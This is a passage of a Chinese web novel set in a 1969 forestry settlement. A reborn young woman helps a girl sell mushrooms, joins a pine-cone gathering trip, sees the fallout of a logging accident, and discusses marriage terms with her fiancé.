可惜快一个小时过去,单秋芳母子依旧没有回来,严雪惦记着在小市场卖东西的刘春彩,只能把东西放进门里,托对面小姑娘正在洗衣服的妈妈帮着转达,“就说人我已经见到了,让她放心,改天有时间我再过来。”
没想到这一来一回不过一个多小时,再回到小市场,刘春彩竟然跟王老头吵起来了。
走前还相处和谐的两个人,此时一个愤怒站着,脸红眼眶更红,一个老神在在,手插在棉袄袖子里,仿佛对方在无理取闹。
“你答应我妈照看我的,不照看我也就罢了,凭啥还抢我生意?”小姑娘声音尖得都劈了。
王老头眼皮都没抬一下,“你自己东西不好,卖不出去怨谁?”
“谁说我东西不好?那都是我跟我妈秋天才捡了晒的!”
严雪在外面听了会儿,没急着上前拉架,先找了个同样在附近摆摊、正抻着头看热闹的,小声问:“同志,这怎么回事?”
八卦绝对是全人类共有的天性,她一问,对方立马竹筒倒豆子似的全说了。
原来王老头嘴上答应得好,会帮刘大牛媳妇照看点刘春彩,可只要有人过来买蘑菇,他就会跟人家说刘春彩的蘑菇不好,都是过了伏的,要买买他的。
这年代没有防腐剂,冬天还好,蘑菇只要过了伏就会生虫,自然没人再去刘春彩那里买。小姑娘一开始还憋着,毕竟是长辈,后来连着被抢了三四次,终于忍不住爆发了。
摊主说完咂咂嘴,“那老头也真是的,欺负一个小丫头干啥?这么老半天,她统共就卖出去二两。”
干蘑菇一小把就能泡发许多,通常也就是二三两一买,等于是刘春彩半上午只卖出去一份。
而他们坐小火车下来是有成本的,一来一回需要八毛钱,要是卖得太少,这一趟就得赔。
眼见小姑娘开始抹眼泪了,严雪从口袋里摸出手绢,走上前递给她,“擦擦,咱们换个地方卖。”
“他怎么不换个地方!”刘春彩实在气不过。
严雪只是笑,“你早上出门踩着一泡屎,不赶紧换个地方弄干净,还一直在里面站着?”
这形容,可比狗咬你一口你还能咬狗一口听着解气有意思多了。
当即旁边就有人笑出了声,刘春彩一听,也忘了继续哭。只有王老头脸色难看,像是刚刚生吞了一坨什么。
严雪弯身帮小姑娘收拾起摊子,“咱们换个地方,我保证你比他卖得好,比他挣得多。”
这话听得王老头直冷笑,“小B崽子连冻蘑跟榛蘑有啥区别都不知道吧?好大的口气。”
“我知道那些干嘛?”严雪无辜眨眼,语气从头到尾都不见一点生气,“我知道人和动物有什么区别就行了。”
刘春彩到底还小,没听出这话里的含义,周围看热闹的人却再次笑起来。
小丫头年纪不大,性子倒是泼辣,能张嘴就是嘲讽,也能不带任何脏字把人骂一顿。
不过虽然没听懂,却不妨碍刘春彩此时对严雪的信任。小姑娘利索地收拾好东西,直接拎起背筐,跟着严雪去了小市场另一边。
看着两人似模似样重新摆开摊子,王老头黑着脸一哼,“连吆喝都不会,我看她们怎么卖。”
刘春彩不会吆喝,主要是年纪小还有
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些抹不开面子,严雪上辈子却是跟着爸爸在市场混大的。
当初严爸下岗,又出意外,导致一条腿截肢,没法找活干,就是利用残疾人代步车拉货去市场卖,供她读书,把她养大。
后来家里再逢变顾,严雪也是在市场蹲了大半年,才一点点凑出钱,把生意做起来。
东西一倒出来,她就跟刘春彩说:“咱俩挑一挑,把里面最大的挑出来,分成两堆。“
“挑出来干嘛?”刘春彩虽然不懂,但还是依言照做了。
严雪:“咱们一会儿按不同的价格卖。”
严雪观察过了,刘春彩这些冻蘑品质并不比王老头的差,甚至还要好上一点。但好得不明显,又有很多小的混在里面,不仔细看根本看不出来。估计之前那人买她的,也是眼尖,瞧出了不同。
两人迅速将东西挑完,她直接把大的那堆放前面,小的装袋子里,放到脚边不显眼的地方。
刚分完,有人从摊前经过,立马发现了冻蘑品相上的不同,“你这冻蘑怎么卖?”
“三块四一斤。”严雪眼也不眨涨了两毛。
来人果然问:“不是三块二吗?我看别人都卖三块二。”
刘春彩也有些不解,然后她就见识到了严雪是怎么吹,哦不,是怎么把东西推销出去的。
严雪直接从两堆蘑菇各抓了一把,放到一起对比,“三块二的我们这也有,不过没有这些好。前面这些都是头茬蘑菇,生长时间长,香味还没怎么跑呢就被摘了,口感好卖相也好,不管是颜色还是纹理,都更适合送礼。”
不怕不识货,就怕货比货。严雪这一挑两堆蘑菇对比立马明显起来,对方脸上显见地出现了犹豫,“就不能便宜点?”
“那您买这个吧,口感和味道上能差点,不仔细吃也吃不出来。”严雪直接把好的那把放了回去。
可她越这么说,对方眼睛越往好的那堆上面瞟,最终还是道:“那就买这个,给我称二两。”
反正也只差两分钱,能买到好的,谁还愿意买那次一等的啊。
于是刘春彩迅速过秤,收钱,严雪则帮着用旧报纸打包,“您放心,我们这蘑菇绝对好吃,不好吃您回来找我们。”
事实上卖完今天,她们还会不会再来出摊都是两说,上哪儿找人去?
然而那人听了,脸上还是更满意了,甚至买完还没走,站在摊位前跟两人搭了几句话。
而人都是有从众心理的,只要看到有人买,哪怕只是有人问价,都会忍不住停下来问一句。没多久,严雪和刘春彩就卖出了第二份。
也不是没人舍不得那一两分钱,严雪眼睛尖,发现对方是真觉得贵,立马改变话术,“您要是自家吃,买这个也行。其实就是个头小,卖相上能差一点,吃着没那么明显,还实惠,炖上一大锅也不心疼。”
然后刘春彩就眼睁睁看着她把那三块二的又卖出去三两……
小姑娘眼睛都瞪大了,“严雪姐,你好厉害啊!王爷爷卖东西都没你卖得快!”
毕竟才第一次出来蹲小市场,除了王老头还找不到更好的参照物。
但她的佩服绝对是真的,忍不住挽住了严雪的胳膊,“要不你给我当嫂子吧。我有个哥哥,比你大不了几岁。”
这才帮她卖了点蘑菇,她就想把自家哥哥卖了,这兄妹情也太感人。
严雪有些哭笑不得,正要说什么,余光瞥见一道人影,“那个王爷爷来了。”
8. 松塔
不过是两个小丫头,一个还是从外地来的,王老头根本没放在眼里。
他照样卖他的冻蘑,照样在有人来问时指了两人的摊子说她们的蘑菇都是过了伏的,不好,来买东西的人却越来越少。
反观严雪和刘春彩那边,时不时就会有一个人停下脚步,有时候还能围上两三个。
老头儿实在闲着没事干,就眯了老眼打量,越看越觉得不对劲,怎么还真有人买她们的东西?
而且有的人明显是从那边过来的,过来问了问价,都听他说她们东西不好了,竟然还转回去,买了那俩小丫头的。
老头儿实在忍不住,假装要上厕所让旁边的人帮着看一下,打算从那边路过,瞅瞅到底怎么回事。
结果两个小丫头一见他来,跟躲瘟神似的,立马收拾东西换到了别的地方。
老头儿立马想到了严雪那句:“你早上出门踩着一泡屎,不赶紧换地方弄干净,还在里面站着?”脸快跟身上的旧棉袄一个色了。
“她俩多少钱卖的?”他问旁边另一个摊主。
王老头怀疑严雪跟刘春彩是降价了,不然同样的东西,凭啥不买他的来买她们的?
结果那摊主跺着脚哆哆嗦嗦说:“三块四一斤。”
“三块四?三块四也能卖出去?”老头儿简直怀疑自己岁数大了,耳朵不好使了。
“我骗你干啥?”冻了半天本来就冷,闻言那摊主有些不高兴,“爱信不信,不信拉倒。”
王老头不信邪,还真打听了一下。都说严雪跟刘春彩是三块四卖的,不过也有三块二的,更具体的就不知道了,严雪当时把大的挑出来的时候,特地找了个没什么人的角落。
老头儿完全是一头雾水,再跟上去看个究竟吧,他倒是能豁出去脸皮,可也得有人家俩小丫头跑得快……
严雪和刘春彩舒舒服服在第三个地点卖到下午,大的那堆只剩个底,小的那堆余的也不多了。
严雪干脆把两堆倒在一起,“剩这些底子有渣子,要不就便宜卖了,要不就拿回去自己吃。”
“那就拿回去自己吃。”这大年下的积水成冰,小姑娘显然已经冻够了。
不过这趟来的收获已经比她想象中多了许多,刘春彩一面收拾摊子,一面跟严雪商量,“还有点时间,姐姐咱们去趟供销社吧。我想买一对粉绸子扎头发,还有头卡,林场商店只有最普通的,不好看。”
难怪说什么也要来镇上卖东西,原来是快过年了,想出来逛街。
不过小姑娘也不抠就是了,给自己买完,还给妹妹也挑了一对,甚至往严雪手里塞了一对彩色发卡,“今天谢谢你。”
这发卡五分钱一个,都能买五个黑色钢丝的了,严雪哪里能要,又推回去,“不过是卖点东西,早上我还是在你家吃的饭呢,再说我也不喜欢这些。”
严雪头发上的确没什么发卡,扎辫子的也是最普通的皮筋。
但大概是脸长得好,如此朴素的打扮依旧很漂亮,尤其是笑起来的时候,眼睛弯弯的能甜到人心里去。
刘春彩有些羡慕,然后又想起了之前被打断的话,“真的,严雪姐你给我当嫂子吧,我哥人很好的。”
小姑娘是真动了心思,不遗余力推销自家哥哥,“长得虽然赶不上祁放哥,也没人能赶上祁放哥,我哥在林场也是有名的帅小伙了。关键还能干,才二十三已经是油锯手,还跟我爷爷学了打猎,嫁给他绝对不缺肉吃。”
严雪要不是来和齐放相亲的,对方又真有说的那么好,她也不介意认识认识,毕竟林场的确比农村来钱的路子多。
打猎得有人教,又不适合她这么娇小的女性,她就不想了。但听刘春彩说林场职工家属是有家属队的,虽然是临时工,但有转正的机会,平时挖药材、捡木耳捡蘑菇、打松子,哪个也都不少卖。
不过“齐放”长得是真好,这点刘春彩都不得不承认,做事也挺细致周到,严雪并不想背信弃义。
她眼睛往货架上一扫,故意转移话题,“林场是不是都得穿这种鞋?我看不管是山上还是山下,穿的都是这个。”
刘春彩见她指的是棉乌拉,“对啊,你别看这鞋笨笨卡卡,也不好看,但塞上乌拉草或者苞米卧,也很暖和。林场雪太大,像你这个,还有那边那种条绒的棉鞋,一出去就打湿了。”
“那下回过来,我也买一双,这回钱没带够。”
严雪主要是事情没定下来,不准备随意花钱,所以刘春彩说先借给她,她也没应。
两人买完东西去森铁车站,碰上了同样准备回林场的王老头。
对方自然不会给她们什么好脸,看那背筐的重量,显然她们走后他虽然卖了些,但还是剩下不少。
刘春彩本就不错的心情瞬间更好了,一回到家,立马扑过去抱住了刘大牛媳妇的腰,“妈,你猜我跟严雪姐今天卖了多少?”
“早上还不愿意叫,现在就严雪姐了?”刘家小儿子忍不住在二姐耳边嘀咕。
刘家才十二三的二女儿却显然是个腼腆性子,下意识看看严雪,小声说弟弟:“你不是要吃煎饼?不吃我吃了。”
那小子立马闭上嘴,望眼欲穿盯着自家妈在煎饼鏊子上摊煎饼。
刘春彩也闻到了飘满屋内的煎饼香,抱着妈妈摇了摇,“给我跟严雪姐也摊两张。”
“再晃摊坏了。”刘大牛媳妇手上刮筢子不停,一手扯了下闺女抱在腰上的胳膊,“今天卖了多少?有没有两斤?”
刘春彩一听立马去解背筐,“哪止啊?我和严雪姐几乎全卖完了!”
这话显然很像吹牛,至少两个小的看向她时都是一脸不信。刘大牛媳妇没说什么,问出一句“是吗”的时候也明显没当回事。
然而紧接着,她手里就被塞进一沓用皮筋捆好的钱,“不信你数数。”
其实不用数,光捏在手里的厚度就不止两斤的。
刘大牛媳妇诧异抬手,没等看清具体多少,那边两个小的已经看到了没什么东西的背筐,“还真卖了。”
“那是,你们不知道,严雪姐可厉害了~”
刘春彩眉飞色舞,把今天王老头怎么欺负她,严雪又是怎么帮她还击的巴拉巴拉,全说了。
刘家二姑娘再看向严雪,眼神立马也不同了,至于刘家小儿子……
他虽然已经上了学,但显然还没学会算账,掰着手指头刚开了个头,就把自己难住了。
这里只有刘大牛媳妇经常出去卖东西,了解严雪这一波操作的含金量,想卖这么快又究竟有多难,“小严很会做买卖?”
严雪总不能说这是自己的老本行了,笑笑,“我以前看别人这么卖过。”
不想就此
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多谈,又望着刘大牛媳妇熟练的动作,露出些好奇,“这边都是这么摊煎饼的吗?”
“你们那边不是?”
“我以前看别人摊,都是把面和成团,在煎饼鏊子上面滚出来的。”
刘大牛媳妇显然也知道,“你说的那是软煎饼,我们这边兴吃硬的。硬的干,好放,吃的时候掸点水就行,上山带饭也方便。这边冬天冷,带个饼子上去,没多会儿就冻成冰坨了,烤都烤不透。”
说话间又一张煎饼摊好,铲下来放到了旁边的盖帘上,她一指,“这都是咱们家的,少吃点,晚上还得吃饭。”
反正也得烧鏊子,她干脆多推了点苞米,给自己家也摊了些。
几个孩子闻言,呼啦一下全围上去,严雪也被分到了一张。刘大牛媳妇手艺好,摊得又脆又薄,一咬下去满口粮食的香。
对方还要留她吃饭,严雪拒绝了,“我想早点回招待所休息。”
想到她陪自家闺女卖了大半天东西,刘大牛媳妇没再留,只一连掸了好几张煎饼硬塞给她,“本来该我带你四处转转,倒让你陪春彩蹲小市场了。”
正好那桶面糊也见了底,刘大牛媳妇把高的那一摞煎饼拿布盖上,端起来,“我给老郭家送去。”
“我也去。”刘春彩跟严雪在一起待了大半天,显然还有点不舍。
她出去帮妈妈开门,等妈妈过去又关上门走在严雪身边,“严雪姐你明天还来吗?我买了二踢脚,明天带你去炸松塔啊~”
“炸松塔?”这词严雪昨天也听过,有一点好奇。
长白山区林业资源丰富,一直盛产松子、榛子、核桃等坚果,但在她印象里,打松子,还是以爬树为主。
胆大点的直接爬,胆子小的有专门的脚蹬,用一个杆很长的钩子,勾在松塔根部一转就下来了。
但这种产松塔的松树通常都很高,树枝又脆,有时候看着很粗,一踩就断了。因此年年打松子,年年有人掉下来摔死。
后来就研究出来了用热气球打,然后同一年,严雪看到两条热气球跑了的新闻。
一条飘到信号塔附近的时候报了警,遗言都跟妻子交代好了:“我飞走了,你好好生活。”被警察给救了回来;一条雄赳赳气昂昂,跨过了鸭绿江,后来到底找没找回来,新闻没报严雪也不知道……
刘春彩不知道严雪脑中转过了这么多,特别积极给她讲,“对啊,拿二踢脚炸。冬天松塔干,一炸全掉下来了,咱们就站在底下捡,一天能捡好几千。”
那可能跟后来薅野菜的人恨不得比野菜多一样,打松塔的人太多,没等到冬天变干就全打完了……
听闺女讲得夸张,刘大牛媳妇泼了她一瓢冷水,“没有好几千,最多一两千,你也不能自己炸,得有大人跟着去。”
“一两千也很多了,能打好几百斤呢。”刘春彩弱弱嘴硬。
看严雪还笑盈盈的,似乎并不觉得失望,她又大了点声,“等爷爷回来我问问他,让他带我们去。”
“那得等你爷有时间。”有老爷子带着,刘大牛媳妇就不管了。
刘春彩脸上一喜,立马拽拽严雪衣袖,“那定好了我去找你,严雪姐你不走吧?”
小年之前肯定是不会走……
严雪刚要回答,前面突然吵嚷起来,有个眼熟的身影和人扭打到了一起。
9. 回去
刘大牛媳妇对人比严雪更熟,几乎立刻惊讶道:“老郭嫂?”
她快走几步,严雪和刘春彩也赶紧跟上前,越近越听到完全压抑不住的哭骂,“你们想钱想疯了,就那么点时间,非得赶!非得赶!你们要钱不要命,咋不砸自己?凭啥祸害我们家长安……”
这显然是知道了事情的原委,昨天祁放通知人的时候,对李树武是因为急着伐完了搞副业才造成失误的事并没有多说。
和郭家老太太扭打在一起的女人要年轻许多,三十来岁的年纪,应该是正在家做饭,两手还沾着玉米面,动起手来却毫不含糊,“老死婆子你有病吧?跑谁家号丧呢?”
“你说谁号丧!”郭大娘明显听不得“号丧”两个字,使劲去扯对方的头发,“要不是你家李树武要去弄山利落,能砸到我家长安?”
“那也是你儿子不会躲,咋没见树武砸着别人?”
两人互不相让,眼见着郭大娘年纪大,要落了下风,刘大牛媳妇赶忙把盖帘往身后一送。
刘春彩毕竟小,被这场面惊到了,一时没反应过来。还是严雪手快,立马接到了自己这里。
有人接就行,刘大牛媳妇顾不得其他,快步上前拉人。
这边动静大,不久附近几户人家也出来了,见状拉的拉,劝的劝,总算把两个人分开。
李树武媳妇头发已经乱成了鸡窝,脸上也被挠了两道,气得狠狠往地上啐了一口,“我看你儿子就是自找的,砸死也活该!”
这话太难听,郭大娘那脸色立即由红转白,整个人哆嗦起来。
刘大牛媳妇赶忙去顺她的背,“你积点口德吧,都是在山上干危险的活,谁知道哪天有个万一。”
其他人也纷纷说李树武媳妇,还有人推着她往回走,应该也是有所忌惮,她骂骂咧咧却还是被推走了。
众人这才围上来看郭大娘的情况,问到底怎么回事,显然都还不知道内情。
刘大牛媳妇倒是知道些,但郭大娘哭成这样,现在说什么都可能会刺激到她,“老顾嫂这唇色不好,我先送她回去。”
这会儿刘春彩已经回神,见妈妈看向自己,赶忙跑过来扶住了郭大娘另一边。
旁人见她们这人够了,刚才出来得急又没多穿,大多都回去了,只有一个路过的年轻小媳妇跟了过来,严雪听刘大牛媳妇叫她月娥。
院子还是昨天那个院子,比起昨晚初见,今日的郭家上空却仿佛笼罩着阴云,分外压抑。连昨晚那个虎头虎脑的小孩子都感知到了气氛的不对,看到郭大娘回来怯生生叫了声奶奶,见人太多又犹豫着不敢上前。
“铁蛋儿你妈呢?”刘大牛媳妇一面和人将郭大娘扶进去,一面问。
孩子跟她还算熟,奶着声音说:“妈妈去医院了,还没回来。”
看来是有什么事,郭大娘自己先回来了,只留郭长平两口子在医院。刘大牛媳妇有心想问问郭长安的情况,又怕真问出个噩耗。
还是郭大娘忍不住握住了她的手,“长安他,落下残废了……他今年才22啊,才22……”
郭长安命虽然保住了,但整个右肩膀到手臂粉碎性骨折,腿骨也被那瞬间的巨力压断,今后哪怕能勉强走路,右手恐怕也不能用了。这对一个年轻人的打击无疑是巨大的,何况他刚和谈了半年的对象订婚,就等年前放假办喜事了。
众人一时沉默,愈发显得郭大娘嘶哑的哭嚎悲戚。
严雪心里有些难受,但在残酷的现实面前,再多宽慰都显得无力。
她转身去外屋拧了个温毛巾给郭大娘。
感受到手里的温热,郭大娘有些愣,但还是下意识拿着擦了擦。
严雪就一言不发,又去倒了杯温水给她。
愤怒、哭泣、抱怨,都能倾泻心里的情绪,此刻再被温暖所抚慰,郭大娘眼泪虽还没止住,但好歹没浑身都在抽了。
另几人这才搂了她,低声安慰她命捡回来了就比什么都强,说不定以后能康复得不错。
严雪毕竟是外来的,跟她们都不熟,并没有插话,只瞅着空档问铁蛋儿,“快到饭点儿了,你饿不饿?”
郭大娘这才想起孙子,见刘大牛媳妇和月娥都要去外屋帮她做饭,挣扎着起来,“我来吧,你们也有一大家子等着吃饭。”
小儿子虽然出了事,但还有大孙子等着她照顾,她心里再难受,也得强打起精神,不能反给老大两口子添麻烦。
见她好歹强撑起了一口气,众人又在郭家待了阵儿,才告辞离开。
临走前,月娥多看了严雪一眼。刘大牛媳妇和严雪熟一点,更直接,“还是小严你机灵,知道提铁蛋儿。”
严雪只是淡淡笑了笑,没说话。
她不是机灵,只是上辈子经历过一样的事。当初也是因为有她,她爸才强打起精神支撑起整个家。
发生这种事最痛苦的甚至都不是当下,而是过后漫长无止境的不便和无望。
林场愿意负责任还好,最怕的就是拿不到任何赔偿。
国内因为经济起步晚,需要花大量时间追平差距,提升百姓生活水平,无障碍这块一直有些顾不上。哪怕是严雪穿越前那会儿,残疾人的出行和就业也都是难题,何况这连改革开放都还要等十年的1969。
采伐季林场职工都住在山上,本来消息传得没那么快,让郭大娘跟李树武媳妇这一闹,倒是传开了。
同情郭家者有之,更多的则是在讲李树武一家的不是。
原本责任就在他们,他们要是心生愧疚,主动上门赔礼道歉也就罢了,结果完全不觉得自己有错不说,话还那么难听。
就连林场招待所的服务员有一次看到严雪,都忍不住跟严雪嘟囔:“成天往家里划拉,也没见他们攒住钱。整天不是吃就是喝,皮鞋买两双,咱这地儿有啥要穿皮鞋的?一到月底就借钱。”
又过了一天,刘春彩才兴冲冲跑来找严雪,“我跟我爷爷说好啦,咱们明天就去炸松塔。”
不仅带来了好消息,还带来一双棉乌拉,一双厚厚的毡袜,一副腿绑,都是刘大牛媳妇借给严雪的。
山上雪厚,棉乌拉里面穿毡袜,再在棉裤外面绑腿绑,才不至于让棉裤被雪浸透,冷到骨头缝里。上山要走的路长,绑腿绑也能促进血液回流,防止小腿出现肿胀。
第二天早上严雪自己弄好,赶到约定好的集合地点时,刘春彩和刘老爷子已经在了。
刘老爷子六十出头的年纪,个子不算高,长得精瘦,戴着个熊皮帽子,背上还背了杆长长的猎/木仓。
听刘春彩叫“严雪姐”,他转过头,露出左脸一大片狰狞的伤疤,配上老而犀利的一双眼,扑面而来一股凶狠之气。
严雪看到了,却和没看到一样,
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笑着上前打招呼,既不过分关注,也没有意避开。
老爷子这才露出笑,“小丫头胆子不小。”又回头看自家孙女,“走了。”
刘春彩立马拽着个一米宽的爬犁跟上,小声跟严雪说:“那是叫黑瞎子舔的,不仅脸,耳朵也没了半个,那回我爷爷差点没命。”
那难怪老爷子这么谨慎,上山炸松塔都不忘带上枪,防着野兽。
严雪伸了手跟她一起拽,“这个能装多少啊?”
“千八百斤没问题,”刘春彩说,“不过得一个人在前面拉,一个人在后面推,不然拉不动。”
“这么能装?”
“那当然,还有比这个更大的,那个就得套牲口了……”
刘老爷子在前,两个小的在后,长白山那物产丰饶的林区像一张神秘的画卷,慢慢在严雪面前铺开。
另一边,祁放站在山林之上,看到的却是另外一番景象。
因为技术有限,国内目前所采取的一直都是接伐,即不论树种和树木大小,一律砍伐,伐后再通过检尺选出合用的木材。
他左手边,茂密的老林绵延不断,沿着山峦的起伏,隐没在白茫一片的天地中;右手边却像是被生生剥落一层皮,一眼望去全是空忙的雪地,只余造林砍下的残肢和一座座断了头颅的树桩。
繁茂与光秃,古老与文明,都在他脚下这片土地交汇,而前者正在被后者快速吞没。
“你说,这片山还能伐多久?”他弯下/身继续之前的工作。
刘大牛长子刘卫国正和他一起造材,即将树头和树枝砍去,只余合乎规范的圆木,还以为他说的是今年的伐区,“应该要不了一个月吧,年前都干得差不多了,年后收个尾就行。”
又一棵老树被快速扒光,刘卫国停下来歇了口气,“可算要放假了,这三个多月待得我都快成野人了。”
如果严雪在这,一定能认出他就是那天第一个回地窨子拿东西的,也是嘴没个把门管祁放叫咱哥的。
不过比起刘春彩嘴里的二十出头帅小伙,他头发、胡子都好几个月没怎么打理了,乍一看,还真像个野人。
山上像他这样的还不在少数,主要就是忙、累,没那时间也没那心思,像祁放这样每天刮胡子注重个人卫生的才不多见。
而且都是没时间剪头发,咋别人都邋里邋遢,就他还那么好看,好看得还和平时不太一样?
刘卫国忍不住问祁放:“对了,你那妹子到底有没有对象?”
这已经不是第一个人问这问题了,刘卫国也不是第一次问。
祁放垂着眼,一副没太有精神的样子,随口就答了一句:“没。”
这几天时间,应该足够严雪想清楚,也体验清楚,这里到底适不适合她。
又或者连这几天都嫌太长,她早就想回去了,只是一直不方便或是不太想上山找他……
那她到底有没有对象,又有什么区别?
祁放实在懒得多说,等小年那天一放假,就和往年一样宿舍都没回,直接去了澡堂。等洗了澡剪了头发,才回去放下东西,准备去找严雪谈谈。
林场就这么点大,什么娱乐都没有,更别提外面还这么冷,估计那大小姐早在招待所待得不耐烦了。
想着,他随意一抬眸,对上的却是房门外尽忠职守的铜将军。
嗯,人呢?
10. 条件
祁放有点怀疑严雪是不是连他放假都等不到,就自己先走了。
毕竟以这位大小姐招呼都不打一个就跑过来的做事风格,还真有可能干得出来。
他沿着刷了绿色踢脚线的走廊走回前台,问正在打瞌睡的服务员:“103的住户走了?”
“你说那位挺漂亮的女同志?”林场招待所住的人少,服务员一下子就想到了,“没走,早上出去了。”
竟然没走?
只是早上出去的,这会儿已经快中午了,人生地不熟的她能去哪里?
正要问,那边服务员似乎早有所料,“她去刘大牛家了,让我有人问起来,就跟人这么说。”
还预料到他今天回来了会来找她,提前做了准备。
祁放有点弄不懂严雪葫芦里卖的什么药了,知道他要来还不在招待所,难道是待得太无聊,去刘队长家打发时间了?
他是托了刘婶子帮着照看一下,但两边出身、文化程度在那摆着,严雪怎么看也不像能和刘家人处得来的样子。
刚出招待所,迎面又碰上了端着毛巾肥皂的刘卫国。
刘卫国一见他就说:“你那妹子在我家呢,春彩嫌我这样儿不好看,把我撵出来洗澡剪头发。”
还真是在刘家,祁放忍不住问了句:“她还好吧?”
“好得很,我瞅春彩那架势,跟她比跟我还亲,你就放一百个心吧。”
当时祁放还以为他是怕自己不放心,故意说得夸张。结果到了刘家一看,何止刘春彩,刘家几个小的全在堂屋,围在严雪身边看严雪……
祁放总是习惯半垂的桃花眼都睁开了,又仔细确认了一遍,发现严雪的确是在大地锅的锅底坑烧松塔。
那个他记忆里穿着布拉吉小皮鞋,通身精致的小姑娘,竟然一点不嫌脏,就蹲在锅前拿一支没烧的柴火棍翻动着,见东西烧好立马拨出来。姿势娴熟,还一点不露土气,一看就不是第一次干。
围在她身边那三个小的也像被投喂成了自然,松塔滚出来,立即一家一个乱棍打死……哦,打碎,扒出里面的松子。
刘家小儿子刘卫斌嘴急,烫都顾不上立马塞嘴里一个“咯嘣”咬开,“还是严雪姐烤得火候好,香。”
“你慢点,小心又把牙硌松了,扯着嗓子哭。”
刘春彩嗔了弟弟一眼,从自己那堆里面挑出个大的,用牙咬破壳,剥出子递到严雪嘴边,“严雪姐你也吃。”
锅下火光明灭,映得严雪眼睛水量,一张巴掌大的俏脸红扑扑的,透出健康的光泽,哪有什么痛苦不耐,分明过得很如鱼得水。
“小祁来了啊,我就猜你得过来。”里屋的刘大牛媳妇出来跟他打招呼。
祁放瞬间回神,“刘婶儿。”先问过好,然后才看向严雪,“我过来接人。”
“接人着什么急?我和了面包饺子,中午留下来一起吃。”
刘大牛媳妇热情留人,几个小的也全仰头望向了严雪。
然而严雪还是放下柴火棍站起了身,“下次吧,我俩也好几天没见了,就那天来见了一面。”
她去洗脸盆边洗了手,见几个小的目光还追着,忍不住笑道:“烧一上午了,那些还不够你们吃?”
“那谁还嫌多啊。”刘春彩撇了撇嘴。
这小模样把严雪逗乐,伸手捏了把她的鼻子,“你好歹也让我歇歇。”进屋去拿围巾手套。
刘春彩好像这才看到门口长身玉立的祁放,“祁放哥,你也回来了啊?”
不知怎么的,祁放突然就想起刘卫国那句“跟她比跟我还亲”。
其实孩子的想法很简单,谁跟他玩得好,他就跟谁亲近。不多会儿严雪包裹好,刚出屋门,刘大牛媳妇又追了上来,“我才想起来,你俩先等一下。”
直接去仓房里提出两个装得满满当当的麻袋,“这两袋松子是小严的,你们看是拿回去自己卖,还是等我们家下去卖,帮你们捎着。”
“还有我的啊?”严雪难掩意外。
她跟着上山,就是想见识见识,顺便看看自己能不能干,根本没想过还能分东西。
毕竟松塔都是刘老爷子炸的,她和刘春彩只负责把松塔从厚厚的雪地上捡起来,跟刘老爷子轮流拖爬犁。
然而刘大牛媳妇显然没想让严雪白干活,“好歹你也出了力,这些天还没少帮着给敲出来。我跟你刘爷爷商量了,给你两袋应该的。”
那刘家可真够大方的,她和刘春彩第二天又去拉了一次,两天共弄回来三千多个松塔。按照大的一个能打二两最多二两半,小的能打出一两半的松子,顶多五六百斤,这两麻袋就得有一百多斤。
严雪见推辞不过,就看了眼祁放,“那大娘帮我放着吧,等我决定了,再过来找您拿。”
“行,我给你做上记号,你记得回来取。”
这回总算成功出了门,祁放手插在大衣口袋里,垂眸看了眼身旁的年轻姑娘,“你还上山了?”
刚从室内出来,身上还熏着暖和气,严雪围巾并没有拉严,露出白皙小巧的鼻尖,“跟着刘爷爷和春彩去了趟,还是春彩拉我去的,给我讲了好多东西,还帮我弄了棉乌拉、毡袜和腿绑。”
她毫不吝啬在祁放面前夸刘家人的好,但刘家人待人的确是热情,能做到这种程度却绝不是只出于热情。
祁放目光落在她那双弯弯的笑眼上,“你和春彩处得不错。”
“可能是陪她去卖过东西,有点革命感情吧。”想到小姑娘第一次见她那不高兴样儿,严雪笑容更盛。
今天出了太阳,冬日的阳光虽然不炽烈,撒在人身上,还是给那浓密如小扇子似的睫毛打下两片阴影。
终于感觉有点冷了,她拉了拉围巾,整张小脸立即缩进了包裹中。看得出来不仅不见任何狼狈,甚至比初见时更加从容。
也是,什么吃不了苦,什么跟其他人没法相处,全是他基于过去那点印象的主观推断。
事实上她这几天不仅过得如鱼得水,还弄到了自己来林场后的第一桶金……
祁放撇了下眼,再转回,依旧有些不知该说什么好。
还好前方就是岔路口,一边通往招待所,一边通往食堂。他抬眸看了看,“先吃饭。”
大队人马回归,食堂的伙食果然提升了不止一个档次,每天都有的白菜炖土豆里面都能看到肉了。
两人吃过饭,回到招待所,祁放刚进入房间,一直在后面抻头盯着的服务员就跟过来,打开了房门上的小窗,“这个不能关,也不能挡着。”
显然是防着两人在里面干点什么,这还是白天,晚上早查祁放的介绍信赶人了。
以前这男女关系抓得还真严啊……
严雪上辈子穷的时候什么旅
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店没住过,听着生命大和谐入睡是常有的事,闻言面不改色,倒是祁放多看了她一眼。
严雪装没看到,拎起服务员从新打满的暖水瓶涮了个杯子,“喝热水吗?”
“可以。”祁放摘了帽子,露出刚刚打理过的短发,靠坐在了炕沿的另一边。
头发剪短后,他五官的优越被完全凸显出来,眉高而眼深,鼻挺而唇薄。就是少了头发的遮挡,眉眼间那股冷淡也愈发清晰,甚至隐约透出股万事不感兴趣的懒怠,冲散了那双桃花眼本该具有的多情。
他食指摩挲了下杯沿,开口,声音也是淡淡的,“我目前在采伐队做锯手助手,每个月工资42块7,有15斤的粮票补贴。”
粮票补贴是除每个月27斤的供应外,单位额外给的,有轻重体力之分,一个月15斤完全是重体力劳动。
他目光落在严雪脸上,“除此之外,单位每年还给分一车柴火。”
这也是林业局的福利之一,和农村甚至和当地其他企业比起来,待遇绝对算好的,不然也不能被戏称为“林大头”。
但要是和燕京比,不仅辛苦,薪资待遇也没有多高,更绝算不上体面。严家已经在那场动乱中保全了自身,其实完全没必要和他绑在一起,度过那注定无望的下半生,除非这其中还有什么隐情。
祁放不是很想探究,既然她要留,他也不拦着,干脆把底都跟她交代清楚。
严雪也果然不是他记忆中那个娇气的小姑娘了,听到这些眉都没有皱一下,还露出思索,“那你每个月得给我25块生活费,我目前还没有工作。”
“可以,”祁放答应得痛快,“我每个月给你30。”
看这样子还挺大方,难怪人都没见到就先给了一百块彩礼。
严雪觉得这算是个不错的开始,提出之前就想好的另一个条件,“现在我没有工作,家务可以全包,你在家什么都不做也行。但如果我找到工作,或者有了其他收入,能同等负担起家庭支出,我要求家务平摊。”
这倒是符合她受过良好教育的出身,就是不知道她在这里能找到什么合适的工作。
祁放漫不经心想着,那边严雪已经睇过来一眼,看似玩笑实则认真,“你不会不同意我找工作吧?”
“没有,那是你自己的事。”祁放对别人的事向来没兴趣,只问:“还有吗?”
还有就是远在关外的继刚,但现在还不是时候。
